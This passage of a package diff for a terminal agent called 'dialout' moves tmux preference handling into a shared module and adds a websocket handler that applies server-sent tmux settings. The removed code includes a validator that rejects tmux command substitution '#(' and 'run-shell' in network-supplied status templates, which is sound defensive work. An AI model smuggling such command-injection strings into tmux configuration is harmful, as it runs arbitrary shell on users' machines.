CvC,IAAI,CAAC,IAAI,CAAC,WAAW,EAAE,EAAE,CAAC;QACxB,OAAO,EAAE,CAAC;IACZ,CAAC;IAED,MAAM,OAAO,GAAG,EAAE,CAAC,WAAW,CAAC,YAAY,EAAE,EAAE,aAAa,EAAE,IAAI,EAAE,CAAC,CAAC;IAEtE,OAAO,OAAO;SACX,MAAM,CAAC,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC;SAC9C,GAAG,CAAC,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC;QACf,IAAI,EAAE,KAAK,CAAC,IAAI;QAChB,IAAI,EAAE,WAAW,CAAC,KAAK,EAAE,YAAY,CAAC,CAAC,CAAC,CAAC,WAAoB,CAAC,CAAC,CAAC,MAAe;KAChF,CAAC,CAAC;SACF,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE;QACb,IAAI,CAAC,CAAC,IAAI,KAAK,CAAC,CAAC,IAAI;YAAE,OAAO,CAAC,CAAC,IAAI,CAAC,aAAa,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC;QAC3D,OAAO,CAAC,CAAC,IAAI,KAAK,WAAW,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;IACzC,CAAC,CAAC,CAAC;AACP,CAAC"}
@@ -1,29 +1,5 @@
1
- export interface TmuxStatusPrefs {
2
- enabled: boolean;
3
- position: 'top' | 'bottom';
4
- bg: string;
5
- fg: string;
6
- left: string;
7
- right: string;
8
- }
9
- export interface TmuxPrefs {
10
- /**
11
- * 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
12
- * its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
13
- * scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
14
- *
15
- * Browser sessions override this back to `on` per session — see
16
- * applyBrowserSessionOptions — because a browser tab has no native selection
17
- * of a remote pane to fall back on.
18
- */
19
- mouse: 'native-select' | 'tmux';
20
- /** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
21
- attachMode: 'auto' | 'control' | 'normal';
22
- historyLimit: number;
23
- status: TmuxStatusPrefs;
24
- }
25
- export declare const STATUS_TOKENS: string[];
26
- export declare function compileStatusTemplate(template: string): string;
27
- export declare const DEFAULT_TMUX_PREFS: TmuxPrefs;
1
+ import { TmuxPrefs } from '@dialout/shared';
2
+ export type { TmuxPrefs, TmuxStatusPrefs } from '@dialout/shared';
3
+ export { DEFAULT_TMUX_PREFS, STATUS_TOKENS, compileStatusTemplate, } from '@dialout/shared';
28
4
  export declare function renderTmuxConf(prefs: TmuxPrefs): string;
29
5
  //# sourceMappingURL=tmux-config.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"tmux-config.d.ts","sourceRoot":"","sources":["../src/tmux-config.ts"],"names":[],"mappings":"AAYA,MAAM,WAAW,eAAe;IAC9B,OAAO,EAAE,OAAO,CAAC;IACjB,QAAQ,EAAE,KAAK,GAAG,QAAQ,CAAC;IAC3B,EAAE,EAAE,MAAM,CAAC;IACX,EAAE,EAAE,MAAM,CAAC;IACX,IAAI,EAAE,MAAM,CAAC;IACb,KAAK,EAAE,MAAM,CAAC;CACf;AAED,MAAM,WAAW,SAAS;IACxB;;;;;;;;OAQG;IACH,KAAK,EAAE,eAAe,GAAG,MAAM,CAAC;IAChC,+EAA+E;IAC/E,UAAU,EAAE,MAAM,GAAG,SAAS,GAAG,QAAQ,CAAC;IAC1C,YAAY,EAAE,MAAM,CAAC;IACrB,MAAM,EAAE,eAAe,CAAC;CACzB;AAsBD,eAAO,MAAM,aAAa,UAA6B,CAAC;AAExD,wBAAgB,qBAAqB,CAAC,QAAQ,EAAE,MAAM,GAAG,MAAM,CAa9D;AAED,eAAO,MAAM,kBAAkB,EAAE,SAchC,CAAC;AAqDF,wBAAgB,cAAc,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CA4DvD"}
1
+ {"version":3,"file":"tmux-config.d.ts","sourceRoot":"","sources":["../src/tmux-config.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAA6C,MAAM,iBAAiB,CAAC;AAkBvF,YAAY,EAAE,SAAS,EAAE,eAAe,EAAE,MAAM,iBAAiB,CAAC;AAClE,OAAO,EACL,kBAAkB,EAAE,aAAa,EAAE,qBAAqB,GACzD,MAAM,iBAAiB,CAAC;AAqDzB,wBAAgB,cAAc,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM,CA4DvD"}
@@ -1,68 +1,12 @@
1
1
  "use strict";
2
- // The single source of truth for every tmux option the agent applies.
3
- //
4
- // This used to exist twice: NATIVE_TMUX_COMMANDS in pty-manager.ts, and a
5
- // hand-transcribed shell copy inside the cowork rc block. They drifted —
6
- // history-limit was 100000 in one and 50000 in the other — and nothing caught
7
- // it, because the only way to observe either was to run tmux. Rendering both
8
- // from one pure function makes the drift impossible and the result assertable.
9
- //
10
- // Everything here is GLOBAL. Per-session options (@devdash_*, window-size,
11
- // aggressive-resize) stay with their callers, because a shared file cannot know
12
- // a session name.
13
2
  Object.defineProperty(exports, "__esModule", { value: true });
14
- exports.DEFAULT_TMUX_PREFS = exports.STATUS_TOKENS = void 0;
15
- exports.compileStatusTemplate = compileStatusTemplate;
3
+ exports.compileStatusTemplate = exports.STATUS_TOKENS = exports.DEFAULT_TMUX_PREFS = void 0;
16
4
  exports.renderTmuxConf = renderTmuxConf;
17
- // Status templates are written by a human and, in Phase 2, arrive over the
18
- // network. A tmux config can execute shell — `#(...)` is command substitution
19
- // and `run-shell` runs a command outright — so this is an injection surface with
20
- // exactly the shape TOKEN_RE already defends in cowork.ts.
21
- //
22
- // Rejecting rather than escaping is deliberate for those two: no legitimate
23
- // status bar needs either, and an escape that is one tmux release out of date
24
- // fails open. The quote is escaped rather than rejected because a user may
25
- // reasonably want one.
26
- const TOKEN_FORMATS = {
27
- // #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
28
- folder: '#{b:pane_current_path}',
29
- path: '#{pane_current_path}',
30
- session: '#{session_name}',
31
- window: '#{window_name}',
32
- title: '#{=21:pane_title}',
33
- time: '%H:%M',
34
- date: '%d-%b-%y',
35
- };
36
- exports.STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
37
- function compileStatusTemplate(template) {
38
- const text = String(template);
39
- if (text.includes('#(')) {
40
- throw new Error('command substitution "#(" is not allowed in a status template');
41
- }
42
- if (/run-shell/i.test(text)) {
43
- throw new Error('"run-shell" is not allowed in a status template');
44
- }
45
- // Escape backslash first, then the quote, or the escapes escape each other.
46
- const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
47
- // An unknown [token] is left verbatim: silently dropping it would make a typo
48
- // look like the setting had no effect.
49
- return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
50
- }
51
- exports.DEFAULT_TMUX_PREFS = {
52
- mouse: 'native-select',
53
- attachMode: 'auto',
54
- historyLimit: 100000,
55
- status: {
56
- enabled: true,
57
- position: 'bottom',
58
- // tmux's own default is bg=green,fg=black. Kept so an upgrade does not
59
- // silently restyle a bar the user never asked to change.
60
- bg: 'green',
61
- fg: 'black',
62
- left: '[[session]] ',
63
- right: '[title] [time] [date]',
64
- },
65
- };
5
+ const shared_1 = require("@dialout/shared");
6
+ var shared_2 = require("@dialout/shared");
7
+ Object.defineProperty(exports, "DEFAULT_TMUX_PREFS", { enumerable: true, get: function () { return shared_2.DEFAULT_TMUX_PREFS; } });
8
+ Object.defineProperty(exports, "STATUS_TOKENS", { enumerable: true, get: function () { return shared_2.STATUS_TOKENS; } });
9
+ Object.defineProperty(exports, "compileStatusTemplate", { enumerable: true, get: function () { return shared_2.compileStatusTemplate; } });
66
10
  // Clipboard tools, most-preferred first. ONE chain: pbcopy must be tried before
67
11
  // the Linux tools, because xclip and xsel are installable on macOS via Homebrew
68
12
  // and an independent Linux branch would fire there too, binding copy through a
@@ -158,8 +102,8 @@ function renderTmuxConf(prefs) {
158
102
  `set-option -g status ${prefs.status.enabled ? 'on' : 'off'}`,
159
103
  `set-option -g status-position ${prefs.status.position}`,
160
104
  `set-option -g status-style "bg=${prefs.status.bg},fg=${prefs.status.fg}"`,
161
- `set-option -g status-left "${compileStatusTemplate(prefs.status.left)}"`,
162
- `set-option -g status-right "${compileStatusTemplate(prefs.status.right)}"`,
105
+ `set-option -g status-left "${(0, shared_1.compileStatusTemplate)(prefs.status.left)}"`,
106
+ `set-option -g status-right "${(0, shared_1.compileStatusTemplate)(prefs.status.right)}"`,
163
107
  '',
164
108
  '# Clipboard: one chain, first available tool wins.',
165
109
  ...clipboardChain(),
@@ -1 +1 @@
1
- {"version":3,"file":"tmux-config.js","sourceRoot":"","sources":["../src/tmux-config.ts"],"names":[],"mappings":";AAAA,sEAAsE;AACtE,EAAE;AACF,0EAA0E;AAC1E,yEAAyE;AACzE,8EAA8E;AAC9E,6EAA6E;AAC7E,+EAA+E;AAC/E,EAAE;AACF,2EAA2E;AAC3E,gFAAgF;AAChF,kBAAkB;;;AAkDlB,sDAaC;AAqED,wCA4DC;AApKD,2EAA2E;AAC3E,8EAA8E;AAC9E,iFAAiF;AACjF,2DAA2D;AAC3D,EAAE;AACF,4EAA4E;AAC5E,8EAA8E;AAC9E,2EAA2E;AAC3E,uBAAuB;AACvB,MAAM,aAAa,GAA2B;IAC5C,uEAAuE;IACvE,MAAM,EAAE,wBAAwB;IAChC,IAAI,EAAE,sBAAsB;IAC5B,OAAO,EAAE,iBAAiB;IAC1B,MAAM,EAAE,gBAAgB;IACxB,KAAK,EAAE,mBAAmB;IAC1B,IAAI,EAAE,OAAO;IACb,IAAI,EAAE,UAAU;CACjB,CAAC;AAEW,QAAA,aAAa,GAAG,MAAM,CAAC,IAAI,CAAC,aAAa,CAAC,CAAC;AAExD,SAAgB,qBAAqB,CAAC,QAAgB;IACpD,MAAM,IAAI,GAAG,MAAM,CAAC,QAAQ,CAAC,CAAC;IAC9B,IAAI,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,EAAE,CAAC;QACxB,MAAM,IAAI,KAAK,CAAC,+DAA+D,CAAC,CAAC;IACnF,CAAC;IACD,IAAI,YAAY,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC;QAC5B,MAAM,IAAI,KAAK,CAAC,iDAAiD,CAAC,CAAC;IACrE,CAAC;IACD,4EAA4E;IAC5E,MAAM,OAAO,GAAG,IAAI,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;IACjE,8EAA8E;IAC9E,uCAAuC;IACvC,OAAO,OAAO,CAAC,OAAO,CAAC,eAAe,EAAE,CAAC,KAAK,EAAE,IAAI,EAAE,EAAE,CAAC,aAAa,CAAC,IAAI,CAAC,IAAI,KAAK,CAAC,CAAC;AACzF,CAAC;AAEY,QAAA,kBAAkB,GAAc;IAC3C,KAAK,EAAE,eAAe;IACtB,UAAU,EAAE,MAAM;IAClB,YAAY,EAAE,MAAM;IACpB,MAAM,EAAE;QACN,OAAO,EAAE,IAAI;QACb,QAAQ,EAAE,QAAQ;QAClB,uEAAuE;QACvE,yDAAyD;QACzD,EAAE,EAAE,OAAO;QACX,EAAE,EAAE,OAAO;QACX,IAAI,EAAE,cAAc;QACpB,KAAK,EAAE,uBAAuB;KAC/B;CACF,CAAC;AAEF,gFAAgF;AAChF,gFAAgF;AAChF,+EAA+E;AAC/E,mDAAmD;AACnD,MAAM,eAAe,GAAG;IACtB,EAAE,GAAG,EAAE,QAAQ,EAAE,OAAO,EAAE,QAAQ,EAAE;IACpC,EAAE,GAAG,EAAE,SAAS,EAAE,OAAO,EAAE,SAAS,EAAE;IACtC,EAAE,GAAG,EAAE,OAAO,EAAE,OAAO,EAAE,4BAA4B,EAAE;IACvD,EAAE,GAAG,EAAE,MAAM,EAAE,OAAO,EAAE,0BAA0B,EAAE;CACrD,CAAC;AAEF,2CAA2C;AAC3C,EAAE;AACF,gFAAgF;AAChF,gFAAgF;AAChF,8EAA8E;AAC9E,8EAA8E;AAC9E,oEAAoE;AACpE,yDAAyD;AACzD,EAAE;AACF,+EAA+E;AAC/E,mCAAmC;AACnC,EAAE;AACF,+EAA+E;AAC/E,iFAAiF;AACjF,2EAA2E;AAC3E,uCAAuC;AACvC,SAAS,cAAc;IACrB,OAAO,eAAe,CAAC,GAAG,CAAC,CAAC,IAAI,EAAE,KAAK,EAAE,EAAE;QACzC,MAAM,MAAM,GAAG,eAAe,CAAC,KAAK,CAAC,CAAC,EAAE,KAAK,CAAC;aAC3C,GAAG,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,gBAAgB,OAAO,CAAC,GAAG,kBAAkB,CAAC;aAC/D,IAAI,CAAC,MAAM,CAAC,CAAC;QAChB,MAAM,KAAK,GAAG,cAAc,IAAI,CAAC,GAAG,kBAAkB,CAAC;QACvD,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,GAAG,MAAM,OAAO,KAAK,EAAE,CAAC,CAAC,CAAC,KAAK,CAAC;QACtD,8DAA8D;QAC9D,wEAAwE;QACxE,yEAAyE;QACzE,yEAAyE;QACzE,2EAA2E;QAC3E,sEAAsE;QACtE,MAAM,QAAQ,GAAG;YACf,+BAA+B,IAAI,CAAC,OAAO,GAAG;YAC9C,8EAA8E,IAAI,CAAC,OAAO,GAAG;YAC7F,iFAAiF,IAAI,CAAC,OAAO,GAAG;YAChG,kEAAkE,IAAI,CAAC,OAAO,GAAG;YACjF,iEAAiE,IAAI,CAAC,OAAO,GAAG;SACjF,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QACd,OAAO,aAAa,IAAI,MAAM,QAAQ,GAAG,CAAC;IAC5C,CAAC,CAAC,CAAC;AACL,CAAC;AAED,SAAgB,cAAc,CAAC,KAAgB;IAC7C,MAAM,KAAK,GAAa;QACtB,yEAAyE;QACzE,6EAA6E;QAC7E,4EAA4E;QAC5E,sCAAsC;QACtC,EAAE;QACF,wEAAwE;QACxE,4EAA4E;QAC5E,qDAAqD;QACrD,uBAAuB,KAAK,CAAC,KAAK,KAAK,MAAM,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,KAAK,EAAE;QAC9D,EAAE;QACF,yEAAyE;QACzE,sEAAsE;QACtE,gCAAgC;QAChC,+BAA+B,KAAK,CAAC,YAAY,EAAE;QACnD,+BAA+B;QAC/B,EAAE;QACF,0EAA0E;QAC1E,4EAA4E;QAC5E,mEAAmE;QACnE,oDAAoD;QACpD,4EAA4E;QAC5E,6EAA6E;QAC7E,0EAA0E;QAC1E,8EAA8E;QAC9E,8EAA8E;QAC9E,sCAAsC;QACtC,EAAE;QACF,8EAA8E;QAC9E,oCAAoC;QACpC,+BAA+B;QAC/B,EAAE;QACF,+DAA+D;QAC/D,8BAA8B;QAC9B,gCAAgC;QAChC,oCAAoC;QACpC,qCAAqC;QACrC,gCAAgC;QAChC,kCAAkC;QAClC,sCAAsC;QACtC,EAAE;QACF,eAAe;QACf,wBAAwB,KAAK,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,KAAK,EAAE;QAC7D,iCAAiC,KAAK,CAAC,MAAM,CAAC,QAAQ,EAAE;QACxD,kCAAkC,KAAK,CAAC,MAAM,CAAC,EAAE,OAAO,KAAK,CAAC,MAAM,CAAC,EAAE,GAAG;QAC1E,8BAA8B,qBAAqB,CAAC,KAAK,CAAC,MAAM,CAAC,IAAI,CAAC,GAAG;QACzE,+BAA+B,qBAAqB,CAAC,KAAK,CAAC,MAAM,CAAC,KAAK,CAAC,GAAG;QAC3E,EAAE;QACF,oDAAoD;QACpD,GAAG,cAAc,EAAE;QACnB,EAAE;QACF,kBAAkB;QAClB,0CAA0C;QAC1C,EAAE;QACF,6EAA6E;QAC7E,6DAA6D;QAC7D,EAAE;KACH,CAAC;IACF,OAAO,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AAC1B,CAAC"}
1
+ {"version":3,"file":"tmux-config.js","sourceRoot":"","sources":["../src/tmux-config.ts"],"names":[],"mappings":"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"}
@@ -1 +1 @@
1
- {"version":3,"file":"websocket.d.ts","sourceRoot":"","sources":["../src/websocket.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,WAAW,EAAoB,MAAM,UAAU,CAAC;AA+BzD,eAAO,MAAM,iBAAiB,OAAO,CAAC;AACtC,eAAO,MAAM,gBAAgB,QAAS,CAAC;AAKvC,wBAAgB,cAAc,CAAC,OAAO,EAAE,MAAM,EAAE,IAAI,GAAE,MAAM,MAAoB,GAAG,MAAM,CAGxF;AAyGD,wBAAgB,OAAO,CAAC,MAAM,EAAE,WAAW,EAAE,WAAW,CAAC,EAAE,MAAM,IAAI,GAAG,IAAI,CAqD3E;AAED,wBAAgB,UAAU,IAAI,IAAI,CAcjC;AAED,wBAAgB,WAAW,IAAI,OAAO,CAErC"}
1
+ {"version":3,"file":"websocket.d.ts","sourceRoot":"","sources":["../src/websocket.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,WAAW,EAA4C,MAAM,UAAU,CAAC;AAgCjF,eAAO,MAAM,iBAAiB,OAAO,CAAC;AACtC,eAAO,MAAM,gBAAgB,QAAS,CAAC;AAKvC,wBAAgB,cAAc,CAAC,OAAO,EAAE,MAAM,EAAE,IAAI,GAAE,MAAM,MAAoB,GAAG,MAAM,CAGxF;AAyGD,wBAAgB,OAAO,CAAC,MAAM,EAAE,WAAW,EAAE,WAAW,CAAC,EAAE,MAAM,IAAI,GAAG,IAAI,CAqD3E;AAED,wBAAgB,UAAU,IAAI,IAAI,CAcjC;AAED,wBAAgB,WAAW,IAAI,OAAO,CAErC"}
package/dist/websocket.js CHANGED
@@ -373,6 +373,25 @@ async function handleMessage(msg, config) {
373
373
  }
374
374
  break;
375
375
  }
376
+ case 'tmux_config': {
377
+ // Server-side settings changed. Persist them so a restart keeps them —
378
+ // the server is the source of truth for a machine's prefs, but the agent
379
+ // must still work when the server is unreachable — then apply
380
+ // immediately, so the change lands without waiting for a reconnect.
381
+ try {
382
+ const prefs = (0, config_1.resolveTmuxPrefs)({ tmux: msg.prefs });
383
+ const config = (0, config_1.loadConfig)();
384
+ config.tmux = prefs;
385
+ (0, config_1.saveConfig)(config);
386
+ (0, pty_manager_1.resetTmuxConfCache)(); // the server asked explicitly; ignore the hash
387
+ (0, pty_manager_1.applyNativeTmuxOptions)(prefs);
388
+ console.log('[dialout] tmux preferences updated from server');
389
+ }
390
+ catch (err) {
391
+ console.error(`[dialout] could not apply tmux preferences: ${err?.message}`);
392
+ }
393
+ break;
394
+ }
376
395
  case 'kill_tmux': {
377
396
  // Force-kill a tmux session by name (used by the Terminals "kill" action).
378
397
  // Kills the session and every process in it; any attached client PTY exits.
@@ -1 +1 @@
1
- {"version":3,"file":"websocket.js","sourceRoot":"","sources":["../src/websocket.ts"],"names":[],"mappings":"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